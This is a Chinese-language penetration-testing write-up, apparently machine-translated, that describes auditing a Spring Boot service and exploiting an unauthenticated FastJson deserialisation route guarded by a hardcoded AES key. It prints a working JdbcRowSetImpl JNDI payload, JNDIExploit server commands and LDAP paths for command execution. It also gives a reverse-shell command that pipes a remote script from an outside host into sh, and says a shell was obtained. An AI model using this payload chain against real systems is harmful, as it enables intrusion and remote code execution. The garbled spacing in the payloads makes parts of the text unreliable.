最近雨笋教育院长黄佳忙着打游戏,当裁判,上课。难得挤出一点时间和大家分享技巧。一定要认真看,向大佬们学习!
0x01

在穿透一个目标时,发现一个端口有SpringBoot服务打开。
SpringBoot常见信息泄露的扫描路线,如/actuator、/env、/swagger-ui.html等。,失败了。通过其他方式获得目标服务的源代码后,需要进行代码审计。
0x02代码审核
对于Java应用,审计首先看lib目录下的依赖项是否有Shiro、FastJson等常见的高风险依赖项,解压xxxx.release.jar,Spring Boot应用的lib目录在BOOT-INF/lib下,直观发现使用的是fastjon-1.2.4.jar。可能存在FastJson反序列化的漏洞,但是使用易受攻击的版本并不意味着应用一定存在这个漏洞。要看开发怎么用,客户端可控参数值是否直接反序列化,同时接口必须有认证缺陷。
要用IDEA打开解压后的目录,首先要确定路由。SpringBoot应用程序的路径一般在控制器目录中定义。该应用程序中的控制器目录如下:
那么如何找到可能存在反序列化的点,两个条件
类介绍了fastjson的用法,就是代码前面有import com . Alibaba . fast JSON . JSON;和importcom阿里巴巴;fastjsonjsonobject
类反序列化了客户端的可控参数值,您可以搜索parse关键字来确定。
在这个应用中,恰好Call**Controller.class同时满足以上两个条件,二层route/call * * */send * * *直接反序列化getJSON函数的返回值jsonstr,无需认证即可访问路由。
再看getJSON代码,对用户可控输入调用的AESUtil.decryptAES函数进行AES解密操作,解密密钥为硬编码v * * * * * * * * * * * *。
看看AESUtil.decryptAES函数。首先对输入密文进行base64解码,然后使用CBC作为分组方式,使用PKCS5作为分组填充方式,初始化向量硬编码为1 * * * * * * * * * *。
至此,整个利用过程已经很清楚了:
JSON有效载荷→ AES加密→ base64编码→发送到服务器→ base64解码→ AES解密→反序列化字符串→成功利用漏洞。

0x03 GetshellPayload
有效负载使用:
{ " @ type ":" com . sun . rowset . jdbcrowsetimpl "," data source name ":" LDAP://127 . 0 . 0 . 1:389/obj "," autoCommit":true}
命名服务
https://github.com/feihong-cs/JNDIExploit.命令选择构建JNDI注入服务器:
Java-jar JNDIExploit-1.2-snapshot . jar-I VPS _ IP
经过多次测试
LDAP://127 . 0 . 0 . 1:1389/Tomcat bypass/Command/base64/[base64 _ encoded _ cmd]
LDAP://127 . 0 . 0 . 1:1389/Tomcat bypass/reverse shell/[IP]/[端口]
为了利用成功,我们选择LDAP://127 . 0 . 0 . 1:1389/Tomcat bypass/command/base64/[base64 _ encoded _ cmd]。
反弹shell命令curl https://reverse-shell . sh/[IP]:[port]| sh是base64编码的,加密前的有效载荷如下
{ " @ type ":" com . sun . rowset . jdbcrowset impl "," data source name ":" LDAP://[IP]:1389/Tomcat bypass/Command/base 64/y 3 vybcdhrwczovl 3 jldm * * * * * * * * * * * * * * * * * * * * * * * * * * * 6 nzc 3 nyb 8 ihno "," autoCommit":true}
AES加密

AES可以选择https://gchq.github.io/CyberChef,来填充密钥iv,并选择cbc模式。
剥削承包
LDAP注入
弹壳成功。
本文到此结束,欢迎留言讨论!


